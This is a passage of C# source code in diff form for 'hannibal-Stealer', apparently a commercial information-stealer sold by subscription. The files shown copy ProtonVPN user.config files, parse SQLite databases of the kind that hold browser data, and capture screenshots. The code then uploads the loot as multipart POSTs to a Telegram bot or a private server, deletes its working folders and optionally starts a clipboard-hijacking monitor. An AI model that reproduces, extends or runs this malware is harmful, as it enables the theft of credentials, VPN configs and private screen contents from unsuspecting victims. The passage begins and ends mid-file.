+          await Task.Run((Func<Task>) (async () => await Screenchik.GetScreen(ExDir)));
+          try
+          {
+            await Otstuk.Run(Config.method);
+            Program.Finish();
+          }
+          catch (Exception ex)
+          {
+            Program.Finish();
+          }
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+          Program.Finish();
+        }
+      }
+
+      private static void Finish()
+      {
+        if (Config.cclipper)
+        {
+          Directory.Delete(Help.ExploitDir + "\\", true);
+          Directory.Delete(Help.dir + "\\", true);
+          Help.Stop();
+          Monitor.run();
+        }
+        else
+        {
+          Directory.Delete(Help.ExploitDir + "\\", true);
+          Directory.Delete(Help.dir + "\\", true);
+          Help.Stop();
+          Environment.Exit(0);
+        }
+      }
+    }
+}

Properties/Resources.cs

@@ -0,0 +1,40 @@
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace SHARP.Properties
+{
+    [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
+    [DebuggerNonUserCode]
+    [CompilerGenerated]
+    internal class Resources
+    {
+      private static ResourceManager resourceMan;
+      private static CultureInfo resourceCulture;
+
+      internal Resources()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Advanced)]
+      internal static ResourceManager ResourceManager
+      {
+        get
+        {
+          if (SHARP.Properties.Resources.resourceMan == null)
+            SHARP.Properties.Resources.resourceMan = new ResourceManager("SHARP.Properties.Resources", typeof (SHARP.Properties.Resources).Assembly);
+          return SHARP.Properties.Resources.resourceMan;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Advanced)]
+      internal static CultureInfo Culture
+      {
+        get => SHARP.Properties.Resources.resourceCulture;
+        set => SHARP.Properties.Resources.resourceCulture = value;
+      }
+    }
+}

Properties/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

Properties/Settings.cs

@@ -0,0 +1,15 @@
+using System.CodeDom.Compiler;
+using System.Configuration;
+using System.Runtime.CompilerServices;
+
+namespace SHARP.Properties
+{
+    [CompilerGenerated]
+    [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.9.0.0")]
+    internal sealed class Settings : ApplicationSettingsBase
+    {
+      private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
+
+      public static Settings Default => Settings.defaultInstance;
+    }
+}

ProtonVPN.cs

@@ -0,0 +1,40 @@
+using System;
+using System.IO;
+
+namespace SHARP
+{
+    internal class ProtonVPN
+    {
+      public static void Save(string head)
+      {
+        string str1 = head;
+        string path1 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), nameof (ProtonVPN));
+        if (!Directory.Exists(path1))
+          return;
+        try
+        {
+          foreach (string directory1 in Directory.GetDirectories(path1))
+          {
+            if (directory1.Contains("ProtonVPN.exe"))
+            {
+              foreach (string directory2 in Directory.GetDirectories(directory1))
+              {
+                string str2 = directory2 + "\\user.config";
+                string path2 = Path.Combine(str1 + "\\VPN\\ProtonVPN", new DirectoryInfo(Path.GetDirectoryName(str2)).Name);
+                if (!Directory.Exists(path2))
+                {
+                  Directory.CreateDirectory(path2);
+                  File.Copy(str2, path2 + "\\user.config");
+                  ++Counting.ProtonVPN;
+                }
+              }
+            }
+          }
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+        }
+      }
+    }
+}

README.md

@@ -0,0 +1 @@
+# hannibal-Stealer

SQLiteHandler.cs

@@ -0,0 +1,361 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+
+namespace SHARP
+{
+    public class SQLiteHandler
+    {
+      private readonly byte[] db_bytes;
+      private readonly ulong encoding;
+      private string[] field_names = new string[1];
+      private SQLiteHandler.sqlite_master_entry[] master_table_entries;
+      private readonly ushort page_size;
+      private readonly byte[] SQLDataTypeSize = new byte[10]
+      {
+        (byte) 0,
+        (byte) 1,
+        (byte) 2,
+        (byte) 3,
+        (byte) 4,
+        (byte) 6,
+        (byte) 8,
+        (byte) 8,
+        (byte) 0,
+        (byte) 0
+      };
+      private SQLiteHandler.table_entry[] table_entries;
+
+      public SQLiteHandler(string baseName)
+      {
+        if (!File.Exists(baseName))
+          return;
+        this.db_bytes = File.ReadAllBytes(baseName);
+        if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
+          throw new Exception("Not a valid SQLite 3 Database File");
+        if (this.db_bytes[52] != (byte) 0)
+          throw new Exception("Auto-vacuum capable database is not supported");
+        this.page_size = (ushort) this.ConvertToInteger(16 /*0x10*/, 2);
+        this.encoding = this.ConvertToInteger(56, 4);
+        if (Decimal.Compare(new Decimal(this.encoding), 0M) == 0)
+          this.encoding = 1UL;
+        this.ReadMasterTable(100UL);
+      }
+
+      private ulong ConvertToInteger(int startIndex, int Size)
+      {
+        if (Size > 8 | Size == 0)
+          return 0;
+        ulong integer = 0;
+        int num = Size - 1;
+        for (int index = 0; index <= num; ++index)
+          integer = integer << 8 | (ulong) this.db_bytes[startIndex + index];
+        return integer;
+      }
+
+      private long CVL(int startIndex, int endIndex)
+      {
+        ++endIndex;
+        byte[] numArray = new byte[8];
+        int num1 = endIndex - startIndex;
+        bool flag = false;
+        if (num1 == 0 | num1 > 9)
+          return 0;
+        switch (num1)
+        {
+          case 1:
+            numArray[0] = (byte) ((uint) this.db_bytes[startIndex] & (uint) sbyte.MaxValue);
+            return BitConverter.ToInt64(numArray, 0);
+          case 9:
+            flag = true;
+            break;
+        }
+        int num2 = 1;
+        int num3 = 7;
+        int index1 = 0;
+        if (flag)
+        {
+          numArray[0] = this.db_bytes[endIndex - 1];
+          --endIndex;
+          index1 = 1;
+        }
+        int num4 = startIndex;
+        for (int index2 = endIndex - 1; index2 >= num4; index2 += -1)
+        {
+          if (index2 - 1 >= startIndex)
+          {
+            numArray[index1] = (byte) ((uint) (byte) ((uint) this.db_bytes[index2] >> (num2 - 1 & 7)) & (uint) ((int) byte.MaxValue >> num2) | (uint) (byte) ((uint) this.db_bytes[index2 - 1] << (num3 & 7)));
+            ++num2;
+            ++index1;
+            --num3;
+          }
+          else if (!flag)
+            numArray[index1] = (byte) ((uint) (byte) ((uint) this.db_bytes[index2] >> (num2 - 1 & 7)) & (uint) ((int) byte.MaxValue >> num2));
+        }
+        return BitConverter.ToInt64(numArray, 0);
+      }
+
+      public int GetRowCount() => this.table_entries.Length;
+
+      public string[] GetTableNames()
+      {
+        List<string> stringList = new List<string>();
+        int num = this.master_table_entries.Length - 1;
+        for (int index = 0; index <= num; ++index)
+        {
+          if (this.master_table_entries[index].item_type == "table")
+            stringList.Add(this.master_table_entries[index].item_name);
+        }
+        return stringList.ToArray();
+      }
+
+      public string GetValue(int row_num, int field)
+      {
+        if (row_num >= this.table_entries.Length)
+          return (string) null;
+        return field >= this.table_entries[row_num].content.Length ? (string) null : this.table_entries[row_num].content[field];
+      }
+
+      public string GetValue(int row_num, string field)
+      {
+        int field1 = -1;
+        int num = this.field_names.Length - 1;
+        for (int index = 0; index <= num; ++index)
+        {
+          if (this.field_names[index].ToLower().CompareTo(field.ToLower()) == 0)
+          {
+            field1 = index;
+            break;
+          }
+        }
+        return field1 == -1 ? (string) null : this.GetValue(row_num, field1);
+      }
+
+      private int GVL(int startIndex)
+      {
+        if (startIndex > this.db_bytes.Length)
+          return 0;
+        int num = startIndex + 8;
+        for (int index = startIndex; index <= num; ++index)
+        {
+          if (index > this.db_bytes.Length - 1)
+            return 0;
+          if (((int) this.db_bytes[index] & 128 /*0x80*/) != 128 /*0x80*/)
+            return index;
+        }
+        return startIndex + 8;
+      }
+
+      private bool IsOdd(long value) => (value & 1L) == 1L;
+
+      private void ReadMasterTable(ulong Offset)
+      {
+        if (this.db_bytes[(int) Offset] == (byte) 13)
+        {
+          ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
+          int num1 = 0;
+          if (this.master_table_entries != null)
+          {
+            num1 = this.master_table_entries.Length;
+            Array.Resize<SQLiteHandler.sqlite_master_entry>(ref this.master_table_entries, this.master_table_entries.Length + (int) uint16 + 1);
+          }
+          else
+            this.master_table_entries = new SQLiteHandler.sqlite_master_entry[(int) uint16 + 1];
+          int num2 = (int) uint16;
+          for (int index1 = 0; index1 <= num2; ++index1)
+          {
+            ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(index1 * 2))), 2);
+            if (Decimal.Compare(new Decimal(Offset), 100M) != 0)
+              integer += Offset;
+            int endIndex1 = this.GVL((int) integer);
+            this.CVL((int) integer, endIndex1);
+            int endIndex2 = this.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex1), new Decimal(integer))), 1M)));
+            this.master_table_entries[num1 + index1].row_id = this.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex1), new Decimal(integer))), 1M)), endIndex2);
+            ulong uint64 = Convert.ToUInt64(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex2), new Decimal(integer))), 1M));
+            int endIndex3 = this.GVL((int) uint64);
+            int endIndex4 = endIndex3;
+            long num3 = this.CVL((int) uint64, endIndex3);
+            long[] numArray = new long[5];
+            int index2 = 0;
+            do
+            {
+              int startIndex = endIndex4 + 1;
+              endIndex4 = this.GVL(startIndex);
+              numArray[index2] = this.CVL(startIndex, endIndex4);
+              numArray[index2] = numArray[index2] <= 9L ? (long) this.SQLDataTypeSize[(int) numArray[index2]] : (!this.IsOdd(numArray[index2]) ? (long) Math.Round((double) (numArray[index2] - 12L) / 2.0) : (long) Math.Round((double) (numArray[index2] - 13L) / 2.0));
+              ++index2;
+            }
+            while (index2 <= 4);
+            if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
+              this.master_table_entries[num1 + index1].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(uint64), new Decimal(num3))), (int) numArray[0]);
+            else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
+              this.master_table_entries[num1 + index1].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(uint64), new Decimal(num3))), (int) numArray[0]);
+            else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
+              this.master_table_entries[num1 + index1].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(uint64), new Decimal(num3))), (int) numArray[0]);
+            if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
+              this.master_table_entries[num1 + index1].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0]))), (int) numArray[1]);
+            else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
+              this.master_table_entries[num1 + index1].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0]))), (int) numArray[1]);
+            else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
+              this.master_table_entries[num1 + index1].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0]))), (int) numArray[1]);
+            this.master_table_entries[num1 + index1].root_num = (long) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2]))), (int) numArray[3]);
+            if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
+              this.master_table_entries[num1 + index1].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), (int) numArray[4]);
+            else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
+              this.master_table_entries[num1 + index1].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), (int) numArray[4]);
+            else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
+              this.master_table_entries[num1 + index1].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), (int) numArray[4]);
+          }
+        }
+        else
+        {
+          if (this.db_bytes[(int) Offset] != (byte) 5)
+            return;
+          int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
+          for (int index = 0; index <= uint16; ++index)
+          {
+            ushort integer = (ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(index * 2))), 2);
+            if (Decimal.Compare(new Decimal(Offset), 100M) == 0)
+              this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) integer, 4)), 1M), new Decimal((int) this.page_size))));
+            else
+              this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) ((long) Offset + (long) integer), 4)), 1M), new Decimal((int) this.page_size))));
+          }
+          this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size))));
+        }
+      }
+
+      public bool ReadTable(string TableName)
+      {
+        int index1 = -1;
+        int num1 = this.master_table_entries.Length - 1;
+        for (int index2 = 0; index2 <= num1; ++index2)
+        {
+          if (this.master_table_entries[index2].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
+          {
+            index1 = index2;
+            break;
+          }
+        }
+        if (index1 == -1)
+          return false;
+        string[] strArray = this.master_table_entries[index1].sql_statement.Substring(this.master_table_entries[index1].sql_statement.IndexOf("(") + 1).Split(',');
+        int num2 = strArray.Length - 1;
+        for (int index3 = 0; index3 <= num2; ++index3)
+        {
+          strArray[index3] = strArray[index3].TrimStart();
+          int length = strArray[index3].IndexOf(" ");
+          if (length > 0)
+            strArray[index3] = strArray[index3].Substring(0, length);
+          if (strArray[index3].IndexOf("UNIQUE") != 0)
+          {
+            Array.Resize<string>(ref this.field_names, index3 + 1);
+            this.field_names[index3] = strArray[index3];
+          }
+          else
+            break;
+        }
+        return this.ReadTableFromOffset((ulong) (this.master_table_entries[index1].root_num - 1L) * (ulong) this.page_size);
+      }
+
+      private bool ReadTableFromOffset(ulong Offset)
+      {
+        if (this.db_bytes[(int) Offset] == (byte) 13)
+        {
+          int int32 = Convert.ToInt32(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
+          int num1 = 0;
+          if (this.table_entries != null)
+          {
+            num1 = this.table_entries.Length;
+            Array.Resize<SQLiteHandler.table_entry>(ref this.table_entries, this.table_entries.Length + int32 + 1);
+          }
+          else
+            this.table_entries = new SQLiteHandler.table_entry[int32 + 1];
+          int num2 = int32;
+          for (int index1 = 0; index1 <= num2; ++index1)
+          {
+            SQLiteHandler.record_header_field[] array = new SQLiteHandler.record_header_field[1];
+            ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(index1 * 2))), 2);
+            if (Decimal.Compare(new Decimal(Offset), 100M) != 0)
+              integer += Offset;
+            int endIndex1 = this.GVL((int) integer);
+            this.CVL((int) integer, endIndex1);
+            int endIndex2 = this.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex1), new Decimal(integer))), 1M)));
+            this.table_entries[num1 + index1].row_id = this.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex1), new Decimal(integer))), 1M)), endIndex2);
+            ulong uint64 = Convert.ToUInt64(Decimal.Add(Decimal.Add(new Decimal(integer), Decimal.Subtract(new Decimal(endIndex2), new Decimal(integer))), 1M));
+            int endIndex3 = this.GVL((int) uint64);
+            int endIndex4 = endIndex3;
+            long num3 = this.CVL((int) uint64, endIndex3);
+            long num4 = Convert.ToInt64(Decimal.Add(Decimal.Subtract(new Decimal(uint64), new Decimal(endIndex3)), 1M));
+            int index2 = 0;
+            while (num4 < num3)
+            {
+              Array.Resize<SQLiteHandler.record_header_field>(ref array, index2 + 1);
+              int startIndex = endIndex4 + 1;
+              endIndex4 = this.GVL(startIndex);
+              array[index2].type = this.CVL(startIndex, endIndex4);
+              array[index2].size = array[index2].type <= 9L ? (long) this.SQLDataTypeSize[(int) array[index2].type] : (!this.IsOdd(array[index2].type) ? (long) Math.Round((double) (array[index2].type - 12L) / 2.0) : (long) Math.Round((double) (array[index2].type - 13L) / 2.0));
+              num4 = num4 + (long) (endIndex4 - startIndex) + 1L;
+              ++index2;
+            }
+            this.table_entries[num1 + index1].content = new string[array.Length - 1 + 1];
+            int num5 = 0;
+            int num6 = array.Length - 1;
+            for (int index3 = 0; index3 <= num6; ++index3)
+            {
+              if (array[index3].type > 9L)
+              {
+                if (!this.IsOdd(array[index3].type))
+                {
+                  if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
+                    this.table_entries[num1 + index1].content[index3] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size);
+                  else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
+                    this.table_entries[num1 + index1].content[index3] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size);
+                  else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
+                    this.table_entries[num1 + index1].content[index3] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size);
+                }
+                else
+                  this.table_entries[num1 + index1].content[index3] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size);
+              }
+              else
+                this.table_entries[num1 + index1].content[index3] = Convert.ToString(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(uint64), new Decimal(num3)), new Decimal(num5))), (int) array[index3].size));
+              num5 += (int) array[index3].size;
+            }
+          }
+        }
+        else if (this.db_bytes[(int) Offset] == (byte) 5)
+        {
+          int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
+          for (int index = 0; index <= uint16; ++index)
+          {
+            ushort integer = (ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(index * 2))), 2);
+            this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) ((long) Offset + (long) integer), 4)), 1M), new Decimal((int) this.page_size))));
+          }
+          this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size))));
+        }
+        return true;
+      }
+
+      private struct record_header_field
+      {
+        public long size;
+        public long type;
+      }
+
+      private struct sqlite_master_entry
+      {
+        public long row_id;
+        public string item_type;
+        public string item_name;
+        public readonly string astable_name;
+        public long root_num;
+        public string sql_statement;
+      }
+
+      private struct table_entry
+      {
+        public long row_id;
+        public string[] content;
+      }
+    }
+}

Screenchik.cs

@@ -0,0 +1,21 @@
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+
+namespace SHARP
+{
+    internal class Screenchik
+    {
+      public static async Task GetScreen(string SDir)
+      {
+        Rectangle bounds = Screen.PrimaryScreen.Bounds;
+        int width = bounds.Width;
+        bounds = Screen.PrimaryScreen.Bounds;
+        int height = bounds.Height;
+        Bitmap bitmap = new Bitmap(width, height);
+        Graphics.FromImage((Image) bitmap).CopyFromScreen(0, 0, 0, 0, bitmap.Size);
+        bitmap.Save(SDir + "\\$creen.jpeg", ImageFormat.Jpeg);
+      }
+    }
+}

SenderAPI.cs

@@ -0,0 +1,69 @@
+using System;
+using System.Net;
+using System.Net.Http;
+using System.Net.Http.Headers;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace SHARP
+{
+    public class SenderAPI
+    {
+      public static async Task TGotstuk(
+        byte[] file,
+        string filename,
+        string contentType,
+        string url,
+        string apiKey)
+      {
+        if (apiKey != "gggf980fd98f98fd980fd890f98f09f08fd980fd909uitu94U098089U4TJ908ERGJ098R089GAR09G90ADRG098AR089GR908GAD90RG")
+          Environment.Exit(0);
+        try
+        {
+          ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
+          WebClient webClient = new WebClient()
+          {
+            Proxy = (IWebProxy) null
+          };
+          string str1 = "------------------------" + DateTime.Now.Ticks.ToString("x");
+          webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + str1);
+          string str2 = webClient.Encoding.GetString(file);
+          string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", (object) str1, (object) filename, (object) contentType, (object) str2);
+          byte[] bytes = webClient.Encoding.GetBytes(s);
+          webClient.UploadData(url, "POST", bytes);
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine(ex.Message);
+        }
+      }
+
+      public static async Task MyPrivateServerOtstuk(string apiUrl, string fileName, byte[] fileData)
+      {
+        using (HttpClient client = new HttpClient())
+        {
+          MultipartFormDataContent content1 = new MultipartFormDataContent();
+          ByteArrayContent content2 = new ByteArrayContent(fileData);
+          content2.Headers.ContentType = new MediaTypeHeaderValue("application/octet-stream");
+          content1.Add((HttpContent) content2, "file", fileName);
+          int num = (await client.PostAsync(apiUrl, (HttpContent) content1)).IsSuccessStatusCode ? 1 : 0;
+        }
+      }
+
+      public static async Task SubError()
+      {
+        HttpClient httpClient = new HttpClient();
+        string requestUri = $"https://api.telegram.org/bot{Config.token}/sendMessage";
+        string id = Config.id;
+        string empty = string.Empty;
+        string str = !(Config.language == "ru") ? "Your subscription has ended :(\nFraternize: t.me/CoderSharp" : "Ваша подписка закончилась :(\nОбратитесь: t.me/CoderSharp";
+        string content = $"{{\r\n            \"chat_id\": {id},\r\n            \"text\": \"{str}\"\r\n        }}";
+        HttpResponseMessage httpResponseMessage = await httpClient.PostAsync(requestUri, (HttpContent) new StringContent(content, Encoding.UTF8, "application/json"));
+      }
+
+      public static string Caption()
+      {
